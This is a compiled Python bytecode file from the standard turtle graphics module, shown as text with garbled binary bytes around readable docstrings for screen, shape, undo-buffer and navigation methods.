Example (for a TurtleScreen instance named screen): >>> screen.textinput("NIM", "Name of first player:") )Úparent)rÚ askstringr‡)rÍr*Úprompts r°r)zTurtleScreenBase.textinput%s€ô×%Ñ% e¨V¸D¿G¹GÔDÐDrÇcóL—tj||||||j¬«S)a·Pop up a dialog window for input of a number. Arguments: title is the title of the dialog window, prompt is a text mostly describing what numerical information to input. default: default value minval: minimum value for input maxval: maximum value for input The number input must be in the range minval .. maxval if these are given. If not, a hint is issued and the dialog remains open for correction. Return the number input. If the dialog is canceled, return None. Example (for a TurtleScreen instance named screen): >>> screen.numinput("Poker", "Your stakes:", 1000, minval=10, maxval=10000) )Ú initialvalueÚminvalueÚmaxvaluer")rÚaskfloatr‡)rÍr*r$ÚdefaultÚminvalÚmaxvals r°rzTurtleScreenBase.numinput4s)€ô$×$Ñ$ U¨FÀØ.4¸vØ,0¯G©Gô5ð 5rÇ)NNNFrÁ©rÊNrf)%rírîrïrðrŠr�r/r˜r¥rªr­r²r´r¸r¾rÀrÏràrãrærêrðrórõrúrÿrrrr rrrrrr)rrérÇr°r„r„ÆsÀ„ñòò<ò (òOð 37Ø05ó(ò28ð -1Ø-2ó(ò.ò ò òó&ò ó Gó,ó&Mó*=ò$ <ó>ò$ò "ò7ò .ò ò"ò ò>ò 0ó 1ò ò ò Eô5rÇr„có—eZdZdZy)r‚z¶Will be raised in TurtleScreen.update, if _RUNNING becomes False. This stops execution of a turtle graphics script. Main purpose: use in the Demo-Viewer turtle.Demo.py. N©rírîrïrðrérÇr°r‚r‚Ps „ñð  rÇcó—eZdZdZy)ÚTurtleGraphicsErrorzSome TurtleGraphics Error Nr/rérÇr°r1r1Ys„òrÇr1có —eZdZdZdd„Zdd„Zy)rzàData structure modeling shapes. attribute _type is one of "polygon", "image", "compound" attribute _data is - depending on _type a poygon-tuple, an image or a list constructed using the addcomponent method. Ncób—||_|dk(r#t|t«rŒt|«}||_ y|dk(rWt|t«rd|j «j d«rEt|«r:tj|«}||_ y|dk(r g}||_ ytd|z«‚||_ y)NÚpolygonrýú.gifÚcompoundzThere is no shape type %s) rrÒrórÂrÚlowerÚendswithrr r�r1Ú_data)rÍÚtype_Údatas r°r/zShape.__init__es¦€ØˆŒ Ø �IÒ Ü˜$¤Ô%ܘT“{�ðˆ� ð�gÒ Ü˜$¤Ô$Ø—:‘:“<×(Ñ(¨Ô0´V¸D´\Ü'×.Ñ.¨tÓ4�Dð ˆ� ð �jÒ ØˆDðˆ� ô&Ð&AÀEÑ&IÓJÐ J؈� rÇcó–—|jdk7rtd|jz«‚|€|}|jj|||g«y)a-Add component to a shape of type compound. Arguments: poly is a polygon, i. e. a tuple of number pairs. fill is the fillcolor of the component, outline is the outline color of the component. call (for a Shapeobject namend s): -- s.addcomponent(((0,0), (10,10), (-10,10)), "red", "blue") Example: >>> poly = ((0,0),(10,-5),(0,10),(-10,-5)) >>> s = Shape("compound") >>> s.addcomponent(poly, "red", "blue") >>> # .. add more components and then use register_shape() r6z Cannot add component to %s ShapeN)rr1r9r�)rÍÚpolyrnr–s r°Ú addcomponentzShape.addcomponentusR€ð �:‰:˜Ò #Ü%Ð&HØBFÇ*Á*ñ'MóNð Nà ˆ?؈GØ � ‰ ×ј4  wÐ/Õ0rÇrÁ)rírîrïrðr/r>rérÇr°rr^s„ñó ô 1rÇrcó8—eZdZdZd d„Zd d„Zd„Zd„Zd„Zd„Z y) ÚTbufferz5Ring buffer used as undobuffer for RawTurtle objects.cóF—||_dgg|z|_d|_d|_y)NrF)ÚbufsizeÚbufferÚptrÚcumulate)rÍrBs r°r/zTbuffer.__init__�s'€ØˆŒ Ø�v�h Ñ(ˆŒ ؈ŒØˆ� rÇNcó —|€2t|j«D]}dg|j|<Œd|_y||_dgg|z|_d|_y)Nr)r rBrCrD)rÍrBr s r°raz Tbuffer.reset”sR€Ø ˆ?ܘ4Ÿ<™<Ö(�Ø"& �— ‘ ˜A’ð)ð ˆ�ð#ˆDŒLØ ˜6˜( WÑ,ˆDŒK؈�rÇcó—|jdkDrp|js;|jdz|jz|_||j|j<y|j|jj |«yyrÉ)rBrErDrCr�r°s r°Úpushz Tbuffer.pushœs_€Ø �<‰<˜!Ò Ø—=’=Ø ŸH™H q™L¨D¯L©LÑ8�”Ø(,�— ‘ ˜DŸH™HÒ%à— ‘ ˜DŸH™HÑ%×,Ñ,¨TÕ2ð rÇcóÔ—|jdkDrY|j|j}|€ydg|j|j<|jdz |jz|_|SyrÉ)rBrCrDr°s r°Úpopz Tbuffer.pop£s^€Ø �<‰<˜!Ò Ø—;‘;˜tŸx™xÑ(ˆD؈|Øà)-¨�— ‘ ˜DŸH™HÑ%Ø ŸH™H q™L¨D¯L©LÑ8�”Ø� ð rÇcóT—|j|jjdg«z SrÁ)rBrCÚcountrÚs r°Ú nr_of_itemszTbuffer.nr_of_items¬s"€Ø�|‰|˜dŸk™k×/Ñ/°°Ó7Ñ7Ð7rÇcó^—t|j«dzt|j«zS)NÚ )rrCrDrÚs r°rìzTbuffer.__repr__®s#€Ü�4—;‘;Ó #Ñ%¬¨D¯H©H« Ñ5Ð5rÇ)r‹rÁ) rírîrïrðr/rarHrJrMrìrérÇr°r@r@�s#„Ù?óó ò3òò8ó6rÇr@cóô—eZdZdZdZedededfd„Zd„Zd!d „Zd „Z d!d „Z d „Z d „Z d!d„Z d„Zd„Zd„Zd"d„Zd!d„Zd„Zd„Zd„Zd„Zd„Zd„Zd#d„Zd„Zd!d„Zd"d„Zd$d„Zd!d„Zd%d „ZeZ eZ!eZ"e Z#eZ$y)&r zÑProvides screen oriented methods like bgcolor etc. Only relies upon the methods of TurtleScreenBase and NOT upon components of the underlying graphics toolkit - which is Tkinter in this case. Trrrc ó —tj||«tdd«tdd«tdd«tdd«tdd«tdd«td|j««d œ|_d d i|_||_||_td |_ g|_ |j«tjd k(r;|j«}|jddddd«|jddddd«yy)Nr4)©éöÿÿÿr©r‹r©rr‹))ré)éþÿÿÿé)rr‹)éüÿÿÿé)éùÿÿÿé )é÷ÿÿÿé)éúÿÿÿé)r[rÊ)éûÿÿÿéýÿÿÿ)éøÿÿÿr_)r_rc)rYra©rr[)éra)érc)r^r_)r`rb)rZrÊ)rfr`)r\r^)rZr\)rerZ)rÊr‹)rrX)rT)ç…ëQ¸#@縅ëQ¸@)ç®Gáz. @ç…ëQ¸…@)rjri)rhrgrU)縅ëQ¸Àrg)ç…ëQ¸…Àri)ç®Gáz. Àrj)ç…ëQ¸#ÀrhrR)rnrk)rmrl)rlrm)rkrn)g€g$À)rhrn)rjrm)rirl)rgrk))r‹rS)r‹r‹)rSr‹)rSrS))r‹ç®GázÀ)rgš™™™™'@)rSro)©rr)rar]rd)r`r]rý)Úarrowr”r5ÚsquareÚtriangler�rˆÚnopicr´rÚdarwinÚwmÚ attributesrŸz-topmostÚ1Ú0)r„r/rrŠÚ_shapesÚ_bgpicsÚ_modeÚ _delayvaluer·Ú _colormodeÚ_keysr6ÚsysÚplatformr0Úcall)rÍr‡rrrÚ rootwindows r°r/zTurtleScreen.__init__¼s €ä×!Ñ! $¨Ô+ô# 9Ð.GÓHÜ" 9ð/&ó'ô # 9ð/HóIô # 9ð/)ó*ä" 9ð/+ó,ä" 9Ð.KÓLÜ" 7¨D×,<Ñ,<Ó,>Ó?ñ%ˆŒ ð*  "�~ˆŒ àˆŒ Ø ˆÔܘ{Ñ+ˆŒØˆŒ Ø � ‰ Œ Ü �<‰<˜8Ò #ð×*Ñ*Ó,ˆJØ �O‰O˜D ,°°ZÀÔ EØ �O‰O˜D ,°°ZÀÕ Eð $rÇcó¾—td|_td|_|jd«|j d«|_d|_d|_d|_g|_ |jd«d D]}|jd |«Œ|jd «|jd d D]&}|jd |«|jd |«Œ(d t_y ) aqDelete all drawings and all turtles from the TurtleScreen. No argument. Reset empty TurtleScreen to its initial state: white background, no backgroundimage, no eventbindings and tracing on. Example (for a TurtleScreen instance named screen): >>> screen.clear() Note: this method is not available as function. rrÚallr´rtrÊrr)rÊréN)r·r}r~r²rÿÚ_bgpicÚ _bgpicnameÚ_tracingÚ_updatecounterÚ_turtlesrrSr rrr Ú_pen)rÍÚbtnr®s r°r6zTurtleScreen.clearäs¾€ô  ™=ˆÔܘ{Ñ+ˆŒØ � ‰ �UÔØ×'Ñ'¨Ó+ˆŒ Ø!ˆŒØˆŒ ØˆÔØˆŒ Ø � ‰ �WÔÛˆCØ �L‰L˜˜sÕ #ðà �‰˜ÔØ—:‘:™a“=ˆCØ �J‰J�t˜SÔ !Ø �O‰O˜D #Õ &ð!ðŒ� rÇNcóJ—|€ |jS|j«}|dvrtd|z«‚||_|dvrX|j|j dz|j dz|jdz|j dz«dx|_|_|j«y)ahSet turtle-mode ('standard', 'logo' or 'world') and perform reset. Optional argument: mode -- one of the strings 'standard', 'logo' or 'world' Mode 'standard' is compatible with turtle.py. Mode 'logo' is compatible with most Logo-Turtle-Graphics. Mode 'world' uses userdefined 'worldcoordinates'. *Attention*: in this mode angles appear distorted if x/y unit-ratio doesn't equal 1. If mode is not given, return the current mode. Mode Initial turtle heading positive angles ------------|-------------------------|------------------- 'standard' to the right (east) counterclockwise 'logo' upward (north) clockwise Examples: >>> mode('logo') # resets turtle heading to north >>> mode() 'logo' N©r‰ÚlogoÚworldzNo turtle-graphics-mode %s)r‰r�rrŠ) r|r7r1rr…r†r�r‘ra©rÍrs r°rzTurtleScreen.modes €ð, ˆ<Ø—:‘:Ð Ø�z‰z‹|ˆØ Ð4Ñ 4Ü%Ð&BÀTÑ&IÓJÐ J؈Œ Ø Ð'Ñ 'Ø × !Ñ ! 4§>¡> /°1Ñ"4°t·±Ð6FÈÑ6IØ'+§~¡~°qÑ'8¸$¿/¹/È1Ñ:Lô Nà(+Ð +ˆDŒK˜$œ+Ø � ‰ � rÇcót—|j«dk7r|jd«t||z «}t||z «}|j«\}}|j|dz |dz «|j|j } } |j |z |_|j|z |_||jz} | |j z} |j | z} |j| z}|j| | | |«|j|j| z |j | z «|j«y)asSet up a user defined coordinate-system. Arguments: llx -- a number, x-coordinate of lower left corner of canvas lly -- a number, y-coordinate of lower left corner of canvas urx -- a number, x-coordinate of upper right corner of canvas ury -- a number, y-coordinate of upper right corner of canvas Set up user coodinat-system and switch to mode 'world' if necessary. This performs a screen.reset. If mode 'world' is already active, all drawings are redrawn according to the new coordinates. But ATTENTION: in user-defined coordinatesystems angles may appear distorted. (see Screen.mode()) Example (for a TurtleScreen instance named screen): >>> screen.setworldcoordinates(-10,-0.5,50,1.5) >>> for _ in range(36): ... left(10) ... forward(0.5) r‘éN) rr§rr&r�r‘r…r†rrr-)rÍÚllxÚllyÚurxÚuryÚxspanÚyspanÚwxÚwyÚ oldxscaleÚ oldyscalerrrrs r°r(z TurtleScreen.setworldcoordinates$s €ð, �9‰9‹;˜'Ò !Ø �I‰I�gÔ Ü�c˜C‘iÓ ˆÜ�c˜C‘iÓ ˆØ×"Ñ"Ó$‰ˆˆBØ �‰˜˜2™˜r "™uÔ%Ø#Ÿ{™{¨D¯K©K�9ˆ Ø—n‘n uÑ,ˆŒ Ø—o‘o¨Ñ-ˆŒ Ø�T—[‘[Ñ ˆØˆt�d—k‘kÑ!ˆØ�~‰~ Ñ$ˆØ�‰ Ñ%ˆØ ×јd D¨$°Ô5Ø � ‰ �d—k‘k )Ñ+¨T¯[©[¸Ñ-BÔCØ � ‰ � rÇcóê—|€F|j«jd«rtd|j|««}n't d«‚t |t «r td|«}||j|<y)a¥Adds a turtle shape to TurtleScreen's shapelist. Arguments: (1) name is the name of a gif-file and shape is None. Installs the corresponding image shape. !! Image-shapes DO NOT rotate when turning the turtle, !! so they do not display the heading of the turtle! (2) name is an arbitrary string and shape is a tuple of pairs of coordinates. Installs the corresponding polygon shape (3) name is an arbitrary string and shape is a (compound) Shape object. Installs the corresponding compound shape. To use a shape, you have to issue the command shape(shapename). call: register_shape("turtle.gif") --or: register_shape("tri", ((0,0), (10,10), (-10,10))) Example (for a TurtleScreen instance named screen): >>> screen.register_shape("triangle", ((5,-3),(0,5),(-5,-3))) Nr5rýz;Bad arguments for register_shape. Use help(register_shape)r4)r7r8rr�r1rÒrÂrz)rÍÚnamerls r°r$zTurtleScreen.register_shapeKsk€ð. ˆ=à�z‰z‹|×$Ñ$ VÔ,ܘg t§{¡{°4Ó'8Ó9‘ä)ð+HóJðJä ˜œuÔ %ܘ) UÓ+ˆEà"ˆ� ‰ �TÒrÇcó—t|«dk(r|d}t|t«r/|j|«s|dk(r|St dt|«z«‚ |\}}}|jdk(r#|||fD�cgc]}td|z«‘Œc}\}}}d|cxkrdkrnnd|cxkrdkrnn d|cxkrdksnt d t|«z«‚d |||fzS#t t f$rt dt|«z«‚wxYwcc}w) aReturn color string corresponding to args. Argument may be a string or a tuple of three numbers corresponding to actual colormode, i.e. in the range 0<=n<=colormode. If the argument doesn't represent a color, an error is raised. rÊrr´zbad color string: %súbad color arguments: %srŠçào@éÿúbad color sequence: %sú #%02x%02x%02x) r rÒrr¾r1Ú TypeErrorr¤r~Úround)rÍr:r™ÚgÚbrÅs r°Ú _colorstrzTurtleScreen._colorstrns €ô ˆu‹:˜Š?ؘ!‘HˆEÜ �eœSÔ !Ø×"Ñ" 5Ô)¨U°bª[Ø� ä)Ð*@Ä3ÀuÃ:Ñ*MÓNÐNð N؉GˆAˆq�!ð �?‰?˜cÒ !Ø01°1°a©yÓ9©y¨!”u˜U 1™W•~¨yÑ9‰GˆAˆq�!Ø�a”˜3• Q¨!¤]¨s¥]¸¸a¼À3¼Ü%Ð&>ÄÀUÃÑ&KÓLÐ LØ ! Q¨ Ñ*Ð*øô œ:Ð&ò NÜ%Ð&?Ä#ÀeÃ*Ñ&LÓMÐ Mð Nüò:sÁCÁ0C>Ã'C;c ó@‡—|jd«s|St|«dk(r dD�cgc]}t|||dzd«‘Œ}}n?t|«dk(r#|ddD�cgc]}dt||d«z‘Œ}}ntd|z«‚t ˆfd „|D««Scc}wcc}w) NršrZ)rÊr†r`rrVrerÊzbad colorstring: %sc3óB•K—|]}|‰jzdz –—Œy­w)r¤N)r~)Ú.0rårÍs €r°Ú z&TurtleScreen._color..’s øèø€Ð9±b°�Q˜Ÿ™Ñ(¨Õ,±bùsƒ)r£r r¨r1rÂ)rÍÚcstrr r¤r“s` r°Ú_colorzTurtleScreen._color‰s£ø€Ø�‰˜sÔ#؈KÜ ˆt‹9˜Š>Ù09Ó:± ¨1”#�d˜1˜Q˜q™S�k 2Õ&° ˆBÑ:Ü �‹Y˜!Š^Ø/3°A°B©xÓ8©x¨!�"”S˜˜a™ "Ó%Ó%¨xˆBÑ8ä%Ð&;¸dÑ&BÓCÐ CÜÓ9±bÓ9Ó9Ð9ùò ;ùâ8s §BÁBcóx—|€ |jS|dk(rt|«|_y|dk(rt|«|_yy)aqReturn the colormode or set it to 1.0 or 255. Optional argument: cmode -- one of the values 1.0 or 255 r, g, b values of colortriples have to be in range 0..cmode. Example (for a TurtleScreen instance named screen): >>> screen.colormode() 1.0 >>> screen.colormode(255) >>> pencolor(240,160,80) NrŠr¤)r~r§r¨)rÍÚcmodes r°rzTurtleScreen.colormode”s<€ð ˆ=Ø—?‘?Ð "Ø �CŠ<Ü# E›lˆD�OØ �cŠ\Ü! %›jˆD�OðrÇcó|—|jD]-}|j|j«|j«Œ/y)z®Reset all Turtles on the Screen to their initial state. No argument. Example (for a TurtleScreen instance named screen): >>> screen.reset() N)r‹Ú_setmoder|ra)rÍr”s r°razTurtleScreen.reset©s+€ð—m”mˆFØ �O‰O˜DŸJ™JÔ 'Ø �L‰L�Nñ$rÇcó—|jS)z»Return the list of turtles on the screen. Example (for a TurtleScreen instance named screen): >>> screen.turtles() [] )r‹rÚs r°r,zTurtleScreen.turtlesµs€ð�}‰}ÐrÇcóz—|r|j|«}nd}|j|«}|�|j|«}|S)aŸSet or return backgroundcolor of the TurtleScreen. Arguments (if given): a color string or three numbers in the range 0..colormode or a 3-tuple of such numbers. Example (for a TurtleScreen instance named screen): >>> screen.bgcolor("orange") >>> screen.bgcolor() 'orange' >>> screen.bgcolor(0.5,0,0.5) >>> screen.bgcolor() '#800080' N)r«rÀr±©rÍrXr:s r°rzTurtleScreen.bgcolor¾sA€ñ Ø—N‘N 4Ó(‰EàˆEØ— ‘ ˜eÓ$ˆØ Ð Ø—K‘K Ó&ˆE؈ rÇcó¬—|€ |jSt|«|_d|_|�t|«|_|jr|j «yy)aeTurns turtle animation on/off and set delay for update drawings. Optional arguments: n -- nonnegative integer delay -- nonnegative integer If n is given, only each n-th regular screen update is really performed. (Can be used to accelerate the drawing of complex graphics.) Second arguments sets delay value (see RawTurtle.delay()) Example (for a TurtleScreen instance named screen): >>> screen.tracer(8, 25) >>> dist = 2 >>> for i in range(200): ... fd(dist) ... rt(90) ... dist += 2 Nr)r‰r¨rŠr}r-)rÍÚnrs r°r+zTurtleScreen.tracerÕsM€ð& ˆ9Ø—=‘=РܘA›ˆŒ ØˆÔØ Ð Ü" 5›zˆDÔ Ø �=Š=Ø �K‰K�Mð rÇcó@—|€ |jSt|«|_y)zø Return or set the drawing delay in milliseconds. Optional argument: delay -- positive integer Example (for a TurtleScreen instance named screen): >>> screen.delay(15) >>> screen.delay() 15 N)r}r¨r·s r°rzTurtleScreen.delayñs!€ð ˆ=Ø×#Ñ#Ð #ܘu›:ˆÕrÇcóΗtjsdt_t‚|jdkDr5|xjdz c_|xj|jzc_yy)zIncrement update counter.TrrÊN)r Ú_RUNNINGr‚r‰rŠrÚs r°Ú _incrementudczTurtleScreen._incrementudcsP€ä×$Ò$Ø$(ŒLÔ !ÜÐ Ø �=‰=˜1Ò Ø × Ò  1Ñ $Õ Ø × Ò  4§=¡=Ñ 0Ö ð rÇcó—|j}d|_|j«D]"}|j«|j«Œ$||_|j «y)z'Perform a TurtleScreen update. TN)r‰r,Ú _update_dataÚ _drawturtler´)rÍÚtracingrùs r°r-zTurtleScreen.update sI€ð—-‘-ˆØˆŒ Ø—‘–ˆAØ �N‰NÔ Ø �M‰M�Oð 𠈌 Ø � ‰ �rÇcó(—|j«dS)z› Return the width of the turtle window. Example (for a TurtleScreen instance named screen): >>> screen.window_width() 640 r©rrÚs r°r/zTurtleScreen.window_widthó€ð× Ñ Ó" 1Ñ%Ð%rÇcó(—|j«dS)z� Return the height of the turtle window. Example (for a TurtleScreen instance named screen): >>> screen.window_height() 480 rÊrÄrÚs r°r.zTurtleScreen.window_heightrÅrÇcó—|jS)zçReturn the Canvas of this TurtleScreen. No argument. Example (for a Screen instance named screen): >>> cv = screen.getcanvas() >>> cv )r‡rÚs r°rzTurtleScreen.getcanvas&s €ð�w‰wˆrÇcóH—t|jj««S)zðReturn a list of names of all currently available turtle shapes. No argument. Example (for a TurtleScreen instance named screen): >>> screen.getshapes() ['arrow', 'blank', 'circle', ... , 'turtle'] )ÚsortedrzrrÚs r°rzTurtleScreen.getshapes2s€ô�d—l‘l×'Ñ'Ó)Ó*Ð*rÇcó*—|j|||«y)aêBind fun to mouse-click event on canvas. Arguments: fun -- a function with two arguments, the coordinates of the clicked point on the canvas. btn -- the number of the mouse-button, defaults to 1 Example (for a TurtleScreen instance named screen) >>> screen.onclick(goto) >>> # Subsequently clicking into the TurtleScreen will >>> # make the turtle move to the clicked point. >>> screen.onclick(None) N)rê©rÍr×r�rßs r°rSzTurtleScreen.onclick=s€ð ×јC  cÕ*rÇcóÒ—|€*||jvrE|jj|«n)||jvr|jj|«|j||«y)amBind fun to key-release event of key. Arguments: fun -- a function with no arguments key -- a string: key (e.g. "a") or key-symbol (e.g. "space") In order to be able to register key-events, TurtleScreen must have focus. (See method listen.) Example (for a TurtleScreen instance named screen): >>> def f(): ... fd(50) ... lt(60) ... >>> screen.onkey(f, "Up") >>> screen.listen() Subsequently the turtle can be moved by repeatedly pressing the up-arrow key, consequently drawing a hexagon N)rÚremover�rð©rÍr×r®s r°rzTurtleScreen.onkeyNsU€ð. ˆ;Ø�d—j‘jÑ Ø— ‘ ×!Ñ! #Õ&Ø ˜Ÿ ™ Ñ "Ø �J‰J× Ñ ˜cÔ "Ø ×ј3 Õ$rÇcóÖ—|€*||jvrG|jj|«n+|�)||jvr|jj|«|j||«y)aBind fun to key-press event of key if key is given, or to any key-press-event if no key is given. Arguments: fun -- a function with no arguments key -- a string: key (e.g. "a") or key-symbol (e.g. "space") In order to be able to register key-events, TurtleScreen must have focus. (See method listen.) Example (for a TurtleScreen instance named screen and a Turtle instance named turtle): >>> def f(): ... fd(50) ... lt(60) ... >>> screen.onkeypress(f, "Up") >>> screen.listen() Subsequently the turtle can be moved by repeatedly pressing the up-arrow key, or by keeping pressed the up-arrow key. consequently drawing a hexagon. N)rrÍr�rórÎs r°r zTurtleScreen.onkeypresslsY€ð2 ˆ;Ø�d—j‘jÑ Ø— ‘ ×!Ñ! #Õ&Ø ˆ_ ¨D¯J©JÑ!6Ø �J‰J× Ñ ˜cÔ "Ø ×ј˜cÕ"rÇcó$—|j«y)aSet focus on TurtleScreen (in order to collect key-events) No arguments. Dummy arguments are provided in order to be able to pass listen to the onclick method. Example (for a TurtleScreen instance named screen): >>> screen.listen() N)rõ)rÍÚxdummyÚydummys r°rzTurtleScreen.listenŒs €ð � ‰ �rÇcó(—|j||«y)aïInstall a timer, which calls fun after t milliseconds. Arguments: fun -- a function with no arguments. t -- a number >= 0 Example (for a TurtleScreen instance named screen): >>> running = True >>> def f(): ... if running: ... fd(50) ... lt(60) ... screen.ontimer(f, 250) ... >>> f() # makes the turtle marching around >>> running = False N)rúrøs r°r#zTurtleScreen.ontimer˜s€ð& � ‰ �c˜1ÕrÇcóØ—|€ |jS||jvr|j|«|j|<|j|j|j|«||_y)aFSet background image or return name of current backgroundimage. Optional argument: picname -- a string, name of a gif-file or "nopic". If picname is a filename, set the corresponding image as background. If picname is "nopic", delete backgroundimage, if present. If picname is None, return the filename of the current backgroundimage. Example (for a TurtleScreen instance named screen): >>> screen.bgpic() 'nopic' >>> screen.bgpic("landscape.gif") >>> screen.bgpic() 'landscape.gif' N)rˆr{r�rr‡)rÍÚpicnames r°rzTurtleScreen.bgpic­sX€ð" ˆ?Ø—?‘?Ð "Ø ˜$Ÿ,™,Ñ &Ø$(§K¡K°Ó$8ˆD�L‰L˜Ñ !Ø �‰�t—{‘{ D§L¡L°Ñ$9Ô:Ø!ˆ�rÇcó(—|j|||«S)aÖResize the canvas the turtles are drawing on. Optional arguments: canvwidth -- positive integer, new width of canvas in pixels canvheight -- positive integer, new height of canvas in pixels bg -- colorstring or color-tuple, new backgroundcolor If no arguments are given, return current (canvaswidth, canvasheight) Do not alter the drawing window. To observe hidden parts of the canvas use the scrollbars. (Can make visible those parts of a drawing, which were outside the canvas before!) Example (for a Turtle instance named turtle): >>> turtle.screensize(2000,1500) >>> # e.g. to search for an erroneously escaped turtle ;-) )rrJs r°r&zTurtleScreen.screensizeÅs€ð"�|‰|˜I z°2Ó6Ð6rÇrÁ©NNr-©rrf)%rírîrïrðr½r·r/r6rr(r$r«r±rrar,rr+rr¾r-r/r.rrrSrr rr#rr&r"r%rrr!rérÇr°r r ³sÆ„ñð €Hà $ V¡ Ø  Ñ,°D¸±Mó&FòPó< òD%óN!#òF+ò6 :ó)ò* òòó.ó8 &ò1ò ò&ò&ò ò +ó+ò"%ó<#ó@ óó*"ó07ð&€MØ€KØ€KØ€HØ�LrÇr cóL—eZdZdZedd«edd«edd«dœZdZdZdZefd„Z d „Z d*d „Z d „Z d+d „Z d„Zd„Zd„Zd„Zd,ddœdedd fd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd*d„Zd„Zd „Zd!„Zd*d"„Zd*d#„Z d$„Z!d%„Z"d,d&„Z#d-d'„Z$d,d(„Z%d*d)„Z&eZ'eZ(eZ)eZ*eZ+eZ,eZ-eZ.e"Z/y ).Ú TNavigatorzRNavigation part of the RawTurtle. Implements methods for turtle movement. rŠç)r‰r‘r�r‰rrÊcóÞ—|j|_|j|_||_d|_|j «d|_|j|«tj|«yrÁ) ÚDEFAULT_ANGLEOFFSETÚ _angleOffsetÚDEFAULT_ANGLEORIENTÚ _angleOrientr|Ú undobufferr;rµrÚrar’s r°r/zTNavigator.__init__êsV€Ø ×4Ñ4ˆÔØ ×4Ñ4ˆÔ؈Œ ؈ŒØ � ‰ ŒØˆŒ Ø � ‰ �dÔÜ×јÕrÇcój—tdd«|_tj|j|_y)zXreset turtle to its initial values Will be overwritten by parent class rÛN)rÚ _positionrÚÚSTART_ORIENTATIONr|Ú_orientrÚs r°razTNavigator.resetôs'€ô ˜s C›ˆŒÜ"×4Ñ4°T·Z±ZÑ@ˆ� rÇNcó”—|€ |jS|dvry||_|dvrd|_d|_y|jdz |_d|_y)z:Set turtle-mode to 'standard', 'world' or 'logo'. Nr�)r‰r‘rrÊç@r)r|rÞràÚ _fullcircler’s r°rµzTNavigator._setmodeüsZ€ð ˆ<Ø—:‘:Ð Ø Ð4Ñ 4Ø ØˆŒ Ø Ð(Ñ (Ø !ˆDÔ Ø !ˆDÕ à $× 0Ñ 0°Ñ 3ˆDÔ Ø "ˆDÕ rÇcóh—||_d|z |_|jdk(rd|_y|dz |_y)z+Helper function for degrees() and radians()ihr‰rrçN)rèÚ _degreesPerAUr|rÞ©rÍÚ fullcircles r°Ú_setDegreesPerAUzTNavigator._setDegreesPerAU s6€à%ˆÔØ  ™^ˆÔØ �:‰:˜Ò #Ø !ˆDÕ à *¨2¡ ˆDÕ rÇcó&—|j|«y)a> Set angle measurement units to degrees. Optional argument: fullcircle - a number Set angle measurement units, i. e. set number of 'degrees' for a full circle. Default value is 360 degrees. Example (for a Turtle instance named turtle): >>> turtle.left(90) >>> turtle.heading() 90 Change angle measurement unit to grad (also known as gon, grade, or gradian and equals 1/100-th of the right angle.) >>> turtle.degrees(400.0) >>> turtle.heading() 100 N)rírës r°r;zTNavigator.degreess€ð, ×јjÕ)rÇcóB—|jtj«y)a Set the angle measurement units to radians. No arguments. Example (for a Turtle instance named turtle): >>> turtle.heading() 90 >>> turtle.radians() >>> turtle.heading() 1.5707963267948966 N)rírÝÚtaurÚs r°r_zTNavigator.radians,s€ð ×ÑœdŸh™hÕ'rÇcó^—|j|j|zz}|j|«y)z)move turtle forward by specified distanceN)rãråÚ_goto)rÍr<Úendes r°Ú_gozTNavigator._go:s%€à�~‰~ § ¡ ¨xÑ 7Ñ7ˆØ � ‰ �4ÕrÇcób—||jz}|jj|«|_y)z=Turn turtle counterclockwise by specified angle if angle > 0.N)rêrårç©rÍrãs r°Ú_rotatezTNavigator._rotate?s(€à �×#Ñ#Ñ#ˆØ—|‘|×*Ñ*¨5Ó1ˆ� rÇcó—||_y)zmove turtle to position end.N©rã)rÍÚends r°ròzTNavigator._gotoDs €àˆ�rÇF©Úfill_gaprüÚreturncór—|�|n|jd}|�|n|jd}t||«|_y)zPTo be overwritten by child class RawTurtle. Includes no TPen references.NrrÊ)rãr)rÍrÅrÆrüÚnew_xÚnew_ys r°rtzTNavigator.teleportHs:€ð�]‘¨¯©°qÑ(9ˆØ�]‘¨¯©°qÑ(9ˆÜ˜u eÓ,ˆ�rÇcó&—|j|«y)aMove the turtle forward by the specified distance. Aliases: forward | fd Argument: distance -- a number (integer or float) Move the turtle forward by the specified distance, in the direction the turtle is headed. Example (for a Turtle instance named turtle): >>> turtle.position() (0.00, 0.00) >>> turtle.forward(25) >>> turtle.position() (25.00,0.00) >>> turtle.forward(-75) >>> turtle.position() (-50.00,0.00) N©rô©rÍr<s r°rDzTNavigator.forwardOs€ð* �‰�ÕrÇcó(—|j| «y)aÏMove the turtle backward by distance. Aliases: back | backward | bk Argument: distance -- a number Move the turtle backward by distance, opposite to the direction the turtle is headed. Do not change the turtle's heading. Example (for a Turtle instance named turtle): >>> turtle.position() (0.00, 0.00) >>> turtle.backward(30) >>> turtle.position() (-30.00, 0.00) Nrrs r°r0zTNavigator.backfs€ð$ �‰�(�ÕrÇcó(—|j| «y)aôTurn turtle right by angle units. Aliases: right | rt Argument: angle -- a number (integer or float) Turn turtle right by angle units. (Units are by default degrees, but can be set via the degrees() and radians() functions.) Angle orientation depends on mode. (See this.) Example (for a Turtle instance named turtle): >>> turtle.heading() 22.0 >>> turtle.right(45) >>> turtle.heading() 337.0 N©r÷rös r°r`zTNavigator.rightzs€ð& � ‰ �e�VÕrÇcó&—|j|«y)aïTurn turtle left by angle units. Aliases: left | lt Argument: angle -- a number (integer or float) Turn turtle left by angle units. (Units are by default degrees, but can be set via the degrees() and radians() functions.) Angle orientation depends on mode. (See this.) Example (for a Turtle instance named turtle): >>> turtle.heading() 22.0 >>> turtle.left(45) >>> turtle.heading() 67.0 Nrrös r°rQzTNavigator.left�s€ð& � ‰ �UÕrÇcó—|jS)zæReturn the turtle's current location (x,y), as a Vec2D-vector. Aliases: pos | position No arguments. Example (for a Turtle instance named turtle): >>> turtle.pos() (0.00, 240.00) rùrÚs r°r\zTNavigator.pos¤s€ð�~‰~ÐrÇcó —|jdS)z÷ Return the turtle's x coordinate. No arguments. Example (for a Turtle instance named turtle): >>> reset() >>> turtle.left(60) >>> turtle.forward(100) >>> print(turtle.xcor()) 50.0 rrùrÚs r°r~zTNavigator.xcor±ó€ð�~‰~˜aÑ Ð rÇcó —|jdS)a  Return the turtle's y coordinate --- No arguments. Example (for a Turtle instance named turtle): >>> reset() >>> turtle.left(60) >>> turtle.forward(100) >>> print(turtle.ycor()) 86.6025403784 rÊrùrÚs r°rzTNavigator.ycor¿r rÇcón—|€|jt|Ž«y|jt||««y)atMove turtle to an absolute position. Aliases: setpos | setposition | goto: Arguments: x -- a number or a pair/vector of numbers y -- a number None call: goto(x, y) # two coordinates --or: goto((x, y)) # a pair (tuple) of coordinates --or: goto(vec) # e.g. as 